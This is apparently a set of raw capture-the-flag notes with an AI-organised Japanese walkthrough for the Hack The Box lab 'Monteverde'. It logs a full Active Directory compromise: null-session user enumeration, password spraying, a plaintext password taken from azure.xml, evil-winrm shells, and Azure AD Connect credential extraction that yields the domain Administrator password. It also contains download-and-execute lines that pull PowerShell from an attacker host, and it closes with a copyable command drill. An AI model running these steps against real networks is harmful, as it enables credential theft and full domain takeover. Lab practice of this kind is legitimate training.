\MEGABANK.LOCAL
. D 0 Fri Jan 3 07:11:34 2020
.. D 0 Fri Jan 3 07:11:34 2020
DfsrPrivate DHSr 0 Fri Jan 3 07:11:34 2020
Policies D 0 Fri Jan 3 07:05:22 2020
scripts D 0 Fri Jan 3 07:05:14 2020
\MEGABANK.LOCAL\DfsrPrivate
NT_STATUS_ACCESS_DENIED listing \MEGABANK.LOCAL\DfsrPrivate\*
\MEGABANK.LOCAL\Policies
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
{31B2F340-016D-11D2-945F-00C04FB984F9} D 0 Fri Jan 3 07:05:22 2020
{6AC1786C-016F-11D2-945F-00C04fB984F9} D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\scripts
. D 0 Fri Jan 3 07:05:14 2020
.. D 0 Fri Jan 3 07:05:14 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
GPT.INI A 22 Fri Jan 3 21:47:23 2020
MACHINE D 0 Fri Jan 3 21:47:06 2020
USER D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
GPT.INI A 22 Fri Jan 3 07:26:34 2020
MACHINE D 0 Fri Jan 3 07:05:22 2020
USER D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE
. D 0 Fri Jan 3 21:47:06 2020
.. D 0 Fri Jan 3 21:47:06 2020
Microsoft D 0 Fri Jan 3 07:05:22 2020
Registry.pol A 2792 Fri Jan 3 07:17:56 2020
Scripts D 0 Fri Jan 3 21:47:06 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
Microsoft D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\USER
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
Windows NT D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Scripts
. D 0 Fri Jan 3 21:47:06 2020
.. D 0 Fri Jan 3 21:47:06 2020
Shutdown D 0 Fri Jan 3 21:47:06 2020
Startup D 0 Fri Jan 3 21:47:06 2020
\MEGABANK.LOCAL\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
Windows NT D 0 Fri Jan 3 07:05:22 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
SecEdit D 0 Fri Jan 3 21:47:23 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Scripts\Shutdown
. D 0 Fri Jan 3 21:47:06 2020
.. D 0 Fri Jan 3 21:47:06 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Scripts\Startup
. D 0 Fri Jan 3 21:47:06 2020
.. D 0 Fri Jan 3 21:47:06 2020
\MEGABANK.LOCAL\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT
. D 0 Fri Jan 3 07:05:22 2020
.. D 0 Fri Jan 3 07:05:22 2020
SecEdit D 0 Fri Jan 3 07:26:34 2020
\MEGABANK.LOCAL\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
. D 0 Fri Jan 3 21:47:23 2020
.. D 0 Fri Jan 3 21:47:23 2020
GptTmpl.inf A 1098 Fri Jan 3 21:47:23 2020
\MEGABANK.LOCAL\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}\MACHINE\Microsoft\Windows NT\SecEdit
. D 0 Fri Jan 3 07:26:34 2020
.. D 0 Fri Jan 3 07:26:34 2020
GptTmpl.inf A 4538 Fri Jan 3 07:26:34 2020
smb: \> exit
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ ls
10.129.228.111.dig-axfr 10.129.228.111.nmap-sU-sVC a.txt MONTEVERDE_10.129.228.111_2026-07-19_212732_bloodhound.zip users.txt
10.129.228.111.nmap 10.129.228.111.nmap-sVC ldapdomaindump Screenshots
10.129.228.111.nmap-sU asrep.hash Logs test.txt
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ smbclient //10.129.228.111/users$ -U "SABatchJobs%SABatchJobs"
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Jan 3 22:12:48 2020
.. D 0 Fri Jan 3 22:12:48 2020
dgalanos D 0 Fri Jan 3 22:12:30 2020
mhope D 0 Fri Jan 3 22:41:18 2020
roleary D 0 Fri Jan 3 22:10:30 2020
smorgan D 0 Fri Jan 3 22:10:24 2020
31999 blocks of size 4096. 28979 blocks available
smb: \> recurse ON
smb: \> ls
. D 0 Fri Jan 3 22:12:48 2020
.. D 0 Fri Jan 3 22:12:48 2020
dgalanos D 0 Fri Jan 3 22:12:30 2020
mhope D 0 Fri Jan 3 22:41:18 2020
roleary D 0 Fri Jan 3 22:10:30 2020
smorgan D 0 Fri Jan 3 22:10:24 2020
\dgalanos
. D 0 Fri Jan 3 22:12:30 2020
.. D 0 Fri Jan 3 22:12:30 2020
\mhope
. D 0 Fri Jan 3 22:41:18 2020
.. D 0 Fri Jan 3 22:41:18 2020
azure.xml AR 1212 Fri Jan 3 22:40:23 2020
\roleary
. D 0 Fri Jan 3 22:10:30 2020
.. D 0 Fri Jan 3 22:10:30 2020
\smorgan
. D 0 Fri Jan 3 22:10:24 2020
.. D 0 Fri Jan 3 22:10:24 2020
31999 blocks of size 4096. 28979 blocks available
smb: \> cd mhope
smb: \mhope\> get azure.xml
getting file \mhope\azure.xml of size 1212 as azure.xml (3.2 KiloBytes/sec) (average 3.2 KiloBytes/sec)
smb: \mhope\> exit
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ cat azure.xml
��<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
4n0therD4y@n0th3r$
for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p 4n0therD4y@n0th3r$ --continue-on-success; done
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p 4n0therD4y@n0th3r$ --continue-on-success; done
SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$ STATUS_LOGON_FAILURE
WINRM 10.129.228.111 5985 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 (name:MONTEVERDE) (domain:MEGABANK.LOCAL)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\dgalanos:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\roleary:4n0therD4y@n0th3r$
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.129.228.111 5985 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:4n0therD4y@n0th3r$
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$
evil-winrm -i 10.129.228.111 -u mhope -p "4n0therD4y@n0th3r$"
┌──(kali@kali)-[~/htb/Monteverde/10.129.228.111]
└─$ evil-winrm -i 10.129.228.111 -u mhope -p "4n0therD4y@n0th3r$"
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\mhope\Documents>
flag検索
cmd /c "dir C:\Users\local.txt /s /b"
cmd /c "dir C:\local.txt /s /b"
*Evil-WinRM* PS C:\Users\mhope\Documents> ipconfig ; hostname; whoami; cat C:\Users\mhope\Desktop\user.txt
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::129
IPv6 Address. . . . . . . . . . . : dead:beef::a9d1:d7c:7ac7:e09a
Link-local IPv6 Address . . . . . : fe80::a9d1:d7c:7ac7:e09a%7
IPv4 Address. . . . . . . . . . . : 10.129.228.111
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:464c%7
10.129.0.1
MONTEVERDE
megabank\mhope
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\mhope\Documents>
*Evil-WinRM* PS C:\Users\mhope\Documents> whoami /all
USER INFORMATION
----------------
User Name SID
============== ============================================
megabank\mhope S-1-5-21-391775091-850290835-3566037492-1601
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
=========================================== ================ ============================================ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Azure Admins Group S-1-5-21-391775091-850290835-3566037492-2601 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
*Evil-WinRM* PS C:\Users\mhope\Documents>
⇒whomi /priv攻撃なし
bloodhound
⇒SABatchJobsもmhopeも Path not found
evil-winrm -i 10.129.228.111 -u mhope -p "4n0therD4y@n0th3r$"
*Evil-WinRM* PS C:\Users\Administrator> Get-Service ADSync
Status Name DisplayName
------ ---- -----------
Running ADSync Microsoft Azure AD Sync
*Evil-WinRM* PS C:\Users\Administrator> Get-ChildItem "C:\Program Files\Microsoft Azure AD Sync\Bin"
Directory: C:\Program Files\Microsoft Azure AD Sync\Bin
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 1/2/2020 2:53 PM ADSync
d----- 1/2/2020 2:53 PM ADSyncDiagnostics
d----- 1/2/2020 2:53 PM Assemblies
d----- 1/2/2020 2:53 PM Microsoft.VC100.CRT
-a---- 8/31/2018 4:53 PM 32640 AADConfig.dll
-a---- 8/31/2018 4:53 PM 78920 AADPasswordResetExtension.dll
-a---- 8/31/2018 4:54 PM 1579904 configdb.dll
-a---- 8/31/2018 4:54 PM 15416 csdelete.exe
-a---- 8/31/2018 4:54 PM 35896 csexport.exe
-a---- 8/31/2018 4:54 PM 25656 CSExportAnalyzer.exe
-a---- 1/2/2020 2:53 PM 240 InstalledServiceInstances.config
-a---- 8/31/2018 4:56 PM 86400 libutils.dll
-a---- 8/31/2018 4:53 PM 284816 ManagedCustomActions.CA
-a---- 8/31/2018 4:54 PM 37944 mapackager.exe
-a---- 8/31/2018 4:54 PM 335744 mcrypt.dll
-a---- 8/31/2018 4:54 PM 98688 Microsoft.Azure.ActiveDirectory.Client.Framework.dll
-a---- 8/31/2018 4:54 PM 125496 Microsoft.Azure.ActiveDirectory.Synchronization.Config.dll
-a---- 8/31/2018 4:53 PM 94776 Microsoft.Azure.ActiveDirectory.Synchronization.Framework.dll
-a---- 8/31/2018 4:53 PM 37432 Microsoft.Azure.ActiveDirectory.Synchronization.PowerShellConfigAdapter.dll
-a---- 8/31/2018 4:54 PM 29568 Microsoft.Azure.ActiveDirectory.Synchronization.ProvisioningWebServiceAdapter.dll
-a---- 8/31/2018 4:53 PM 85568 Microsoft.CredentialManagement.OnPremisesPasswordReset.Library.dll
-a---- 6/20/2017 1:52 PM 70 Microsoft.CredentialManagement.OnPremisesPasswordReset.Library.dll.config
-a---- 8/31/2018 4:53 PM 30280 Microsoft.CredentialManagement.OnPremisesPasswordReset.Shared.dll
-a---- 8/31/2018 4:54 PM 143416 Microsoft.IdentityManagement.Error.ErrorBridge.dll
-a---- 8/31/2018 4:54 PM 18488 Microsoft.IdentityManagement.ManagedLogger.dll
-a---- 8/31/2018 4:54 PM 221056 Microsoft.IdentityManagement.PowerShell.ObjectModel.dll
-a---- 5/23/2018 7:46 PM 295024 Microsoft.IdentityModel.Clients.ActiveDirectory.dll
-a---- 5/23/2018 7:46 PM 22128 Microsoft.IdentityModel.Clients.ActiveDirectory.Platform.dll
-a---- 8/31/2018 4:54 PM 17280 Microsoft.MetadirectoryServices.DataAccess.dll
-a---- 8/31/2018 4:54 PM 16768 Microsoft.MetadirectoryServices.Host.dll
-a---- 8/31/2018 4:54 PM 66432 Microsoft.MetadirectoryServices.Impl.dll
-a---- 8/31/2018 4:54 PM 27520 Microsoft.MetadirectoryServices.LDAPQueryClient.dll
-a---- 8/31/2018 4:54 PM 26688 Microsoft.MetadirectoryServices.PasswordHashSynchronization.Types.dll
-a---- 8/31/2018 4:54 PM 54344 Microsoft.MetadirectoryServices.Scheduler.dll
-a---- 8/31/2018 4:54 PM 507264 Microsoft.Online.Deployment.Framework.dll
-a---- 8/31/2018 4:54 PM 82304 Microsoft.Online.Deployment.PowerShell.dll
-a---- 8/31/2018 4:54 PM 116608 Microsoft.Online.PasswordSynchronization.Cryptography.dll
-a---- 8/31/2018 4:54 PM 136248 Microsoft.Online.PasswordSynchronization.dll
-a---- 8/31/2018 4:54 PM 23424 Microsoft.Online.PasswordSynchronization.Resources.dll
-a---- 8/31/2018 4:54 PM 196664 Microsoft.Online.PasswordSynchronization.Rpc.dll
-a---- 8/31/2018 4:53 PM 3540032 Microsoft.ServiceBus.dll
-a---- 8/31/2018 4:53 PM 2556984 miiserver.exe
-a---- 8/31/2018 4:41 PM 5830 miiserver.exe.config
-a---- 8/31/2018 4:53 PM 99896 miiskmu.exe
-a---- 8/31/2018 4:55 PM 85568 mixedmodeutils.dll
-a---- 8/31/2018 4:55 PM 360504 mmscntrl.dll
-a---- 8/31/2018 4:55 PM 97848 mmsevent.dll
-a---- 8/31/2018 4:55 PM 725048 mmsmaad.dll
-a---- 8/31/2018 4:55 PM 567352 mmsmaext.dll
-a---- 8/31/2018 4:55 PM 1424256 mmsmastate.dll
-a---- 8/31/2018 4:55 PM 431160 mmsmaxml.dll
-a---- 8/31/2018 4:55 PM 31288 mmsperf.dll
-a---- 8/31/2018 4:41 PM 5686 mmsperf.h
-a---- 8/31/2018 4:41 PM 12162 mmsperf.ini
-a---- 8/31/2018 4:55 PM 37432 mmsperfmon.dll
-a---- 8/31/2018 4:55 PM 151096 mmsps.dll
-a---- 8/31/2018 4:55 PM 528768 mmsscpth.dll
-a---- 8/31/2018 4:55 PM 33152 MMSSERVERRCW.dll
-a---- 8/31/2018 4:55 PM 520064 mmsuihlp.dll
-a---- 8/31/2018 4:55 PM 222776 mmsutils.dll
-a---- 8/31/2018 4:41 PM 978 mmswmi-x.mof
-a---- 8/31/2018 4:55 PM 133688 mmswmi.dll
-a---- 8/31/2018 4:41 PM 8441 mmswmi.mof
-a---- 8/31/2018 4:55 PM 103496 PasswordHashConnectorManager.dll
-a---- 8/31/2018 4:55 PM 37952 PasswordHashSyncExtension.dll
-a---- 8/31/2018 4:53 PM 44104 Security.Cryptography.dll
-a---- 8/31/2018 4:55 PM 1462328 storechk.exe
-a---- 8/31/2018 4:54 PM 62008 SyncClrhost.dll
-a---- 8/31/2018 4:54 PM 135736 SyncRuleExpressions.dll
-a---- 8/31/2018 4:54 PM 172088 SyncRulesEngine.dll
-a---- 8/31/2018 4:54 PM 200760 SyncSetupUtl.dll
-a---- 8/31/2018 4:54 PM 26176 Tracing.dll
-a---- 8/31/2018 4:41 PM 16510 Tracing.man
*Evil-WinRM* PS C:\Users\Administrator> Get-ChildItem "C:\Program Files\Microsoft Azure AD Sync\Data"
Directory: C:\Program Files\Microsoft Azure AD Sync\Data
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 8/31/2018 4:41 PM 71066 mv.dsml
*Evil-WinRM* PS C:\Users\Administrator>
ADSync DB 復号
https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1 https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1
Invoke-WebRequest http://10.10.14.25:8000/PoC.ps1 -OutFile PoC.ps1
.\Poc.ps1
upload Azure-ADConnect.ps1
import-module .\Azure-ADConnect.ps1
get-module
Azure-ADConnect -server 127.0.0.1 -db ADSync
iex(new-object net.webclient).downloadstring('http://10.10.14.11/Get-MSOLCredentials.ps1')
iex(new-object net.webclient).downloadstring('http://
wget -O Azure-ADConnect.ps1 https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
ls -l Azure-ADConnect.ps1
head Azure-ADConnect.ps1
evil-winrm -i 10.129.228.111 -u mhope -p "4n0therD4y@n0th3r$"
upload Azure-ADConnect.ps1
Import-Module .\Azure-ADConnect.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync
*Evil-WinRM* PS C:\Users\mhope\Documents> upload Azure-ADConnect.ps1
Info: Uploading /home/kali/htb/Monteverde/10.129.228.111/Azure-ADConnect.ps1 to C:\Users\mhope\Documents\Azure-ADConnect.ps1
Data: 3016 bytes of 3016 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\mhope\Documents> Import-Module .\Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Documents> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+]Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents>
d0m@in4dminyeah!
evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'
evil-winrm -i 10.129.228.111 -u 'MEGABANK.LOCAL\administrator' -p 'd0m@in4dminyeah!'
flag検索
cmd /c "dir C:\Users\root.txt /s /b"
cmd /c "dir C:\root.txt /s /b"
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig ; hostname; whoami; cat C:\Users\Administrator\Desktop\root.txt
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::167
IPv6 Address. . . . . . . . . . . : dead:beef::b027:8bff:cbce:a41f
Link-local IPv6 Address . . . . . : fe80::b027:8bff:cbce:a41f%7
IPv4 Address. . . . . . . . . . . : 10.129.228.111
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:464c%7
10.129.0.1
MONTEVERDE
megabank\administrator
<REDACTED_FLAG>
*Evil-WinRM* PS C:\Users\Administrator\Documents>
walkthrough(AI)¶
このAI版 walkthrough は、生メモを「列挙 → 資格情報取得 → 権限昇格」の流れで整理したもの。Monteverde は Null session からユーザーを取り、username=username のパスワードスプレーで foothold を作り、Azure AD Connect の資格情報抽出で Administrator に到達する。
1. Null session でユーザー列挙¶
まず RPC の Null session でドメインユーザーを列挙する。
rpcclient -U "" -N 10.129.228.111 -c "enumdomusers"
取得したユーザー名を users.txt にまとめる。
2. username=username のパスワードスプレー¶
ユーザー名と同じ文字列をパスワードとしてスプレーする。SABatchJobs が有効。
for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p users.txt --continue-on-success; done
得られる資格情報。
SABatchJobs / SABatchJobs
3. SABatchJobs で共有を確認¶
SABatchJobs で SMB 共有を確認する。users$ が読める。
nxc smb 10.129.228.111 -u SABatchJobs -p 'SABatchJobs' --shares
smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'
4. users$ から azure.xml を取得¶
users$ 内の mhope ディレクトリに azure.xml がある。
recurse ON
ls
cd mhope
get azure.xml
azure.xml からパスワードが得られる。
4n0therD4y@n0th3r$
5. mhope の資格情報を確認して WinRM¶
取得したパスワードをユーザー一覧にスプレーすると、mhope で有効。
for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success; done
WinRM で入る。
evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
6. Azure AD Connect から資格情報を抽出¶
mhope は Azure AD Connect 関連の権限を持つ。ADSync DB から同期用資格情報を抽出する。
wget -O Azure-ADConnect.ps1 https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
upload Azure-ADConnect.ps1
Import-Module .\Azure-ADConnect.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync
Administrator のパスワードが得られる。
administrator / d0m@in4dminyeah!
7. Administrator で root flag¶
Administrator の資格情報で WinRM する。
evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'
8. 攻撃の流れまとめ¶
Null session user enum
→ username=username spray
→ SABatchJobs
→ users$/mhope/azure.xml
→ mhope credentials
→ WinRM as mhope
→ Azure AD Connect credential extraction
→ Administrator password
→ root flag
drill¶
Null sessionでユーザー列挙¶
rpcclient -U "" -N 10.129.228.111 -c "enumdomusers"
username=usernameのパスワードスプレー¶
for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p users.txt --continue-on-success; done
SABatchJobsで共有確認とusers$取得¶
nxc smb 10.129.228.111 -u SABatchJobs -p 'SABatchJobs' --shares
smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'
recurse ON
ls
cd mhope
get azure.xml
azure.xmlから得たパスワードを確認¶
cat azure.xml
for p in smb rdp winrm; do nxc $p 10.129.228.111 -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success; done
mhopeでWinRM¶
evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
Azure AD Connectから資格情報抽出¶
wget -O Azure-ADConnect.ps1 https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
upload Azure-ADConnect.ps1
Import-Module .\Azure-ADConnect.ps1
Azure-ADConnect -server 127.0.0.1 -db ADSync
AdministratorでWinRM¶
evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'